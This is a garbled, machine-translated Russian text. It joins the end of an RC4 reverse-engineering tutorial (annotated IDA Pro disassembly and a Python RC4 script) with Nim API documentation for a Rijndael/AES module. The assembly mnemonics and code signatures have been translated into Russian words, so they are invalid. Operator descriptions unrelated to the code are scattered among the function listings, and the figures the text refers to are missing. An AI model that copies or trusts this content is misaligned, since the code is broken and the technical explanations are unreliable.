100021B9 movzx     eax, [ebp+eax+68h+state.perm] ; EAX = С[j]

100021C1 добавить eax, edx ; EAX = S[i] + S[j]

100021C3 и eax, esi ; EAX = (S[i] + S[j]) mod 0x100

100021C5 mov al, [ebp+eax+68h+state.Выход К

100021CE вкл. edi ; х++

100021CF cmp edi, [ebp+68h+arg_4] ; Проверьте, если x < len (открытый текст)

100021D2 jb короткая петля ; Цикл, если x < len (обычный


В IDA Pro цикл RC4_Crypt может напоминать следующие основные блоки:



После того, как длина открытого текста достигнута, ключевой поток K полностью сгенерирован. Поскольку каждое значение K было сгенерировано, оно использовалось для XOR дополнительного байта открытого текста, в этом случае это выглядело так:



Чтобы расшифровать зашифрованный текст, просто выполните процедуру в обратном порядке:

.

Упражнение:


Собираем все вместе с Python

Я реализовал RC4 на Python, обрабатывая ввод как строки и выводя содержимое SBox до и после скремблирования.

*Примечание: поскольку этот сценарий обрабатывает ввод как строку, вам придется отправлять необработанные байты для символов, отличных от ASCII. В примере выше это можно сделать так:


./rc4Gen.py 0006 `perl -e 'print "\xEA\x49\x7F\x6B\xD6\x55\x5B\xA8\x51\x27\xCE\x08\x3A\x51\x3B\xE8"'`





Модуль Рейндал

Этот модуль реализует криптоалгоритм Rijndael (AES) Винсента Раймена, Антона Босселарса и Пауло Баррето.

Код

основан на версии 3.0 (декабрь 2000 г.) . Оптимизированный код ANSI C для шифра Rijndael [http://www.fastcrypto.org/front/misc/rijndael-alg-fst.c].

Тесты проведены в соответствии с официальными векторами тестов (Приложение B и Приложение C) [http://csrc.nist.gov/groups/STM/cavp/documents/aes/AESAVS.pdf].

 proc rijndaelEncrypt (ctx: var RijndaelContext; ввод: байт указателя; выход: байт указателя) 
оператор "больше". Это то же самое, что у < х.
 proc rijndaelDecrypt (ctx: var RijndaelContext; ввод: байт указателя; вывод: байт указателя) 
оператор "больше". Это то же самое, что у < х.
 proc initRijndaelContext (ctx: var RijndaelContext; N: int; ключ: указательный байт) 
 proc init(ctx: var RijndaelContext; ключ: байт указателя; nkey: int = 0) {...}{.inline.} 
 proc init(ctx: var RijndaelContext; ключ: openArray[byte]) {. ..}{.inline.} 
Оператор "больше или равно". Это то же самое, что y <= x.
 proc clear(ctx: var RijndaelContext) {...}{.inline.} 
 proc encrypt(ctx: var RijndaelContext; входящие байты: байт указателя; исходящие байты: байт указателя) {...}{.inline.} 
 proc decrypt(ctx: var RijndaelContext; входящие байты: байт указателя; исходящие байты: байт указателя) {...}{.inline.} 
 proc encrypt(ctx: var RijndaelContext; ввод: openArray[byte];
            вывод: var openArray[byte]) {...}{.inline.} 
 proc decrypt(ctx: var RijndaelContext; ввод: openArray[byte];
            вывод: var openArray[byte]) {...}{.inline.} 
 sizeKey шаблона (ctx: RijndaelContext): int 
 шаблон sizeBlock(ctx: RijndaelContext): int 
 шаблон sizeKey(r: typedesc[rijndael]): int 
 шаблон sizeBlock(r: typedesc[rijndael]): int 
.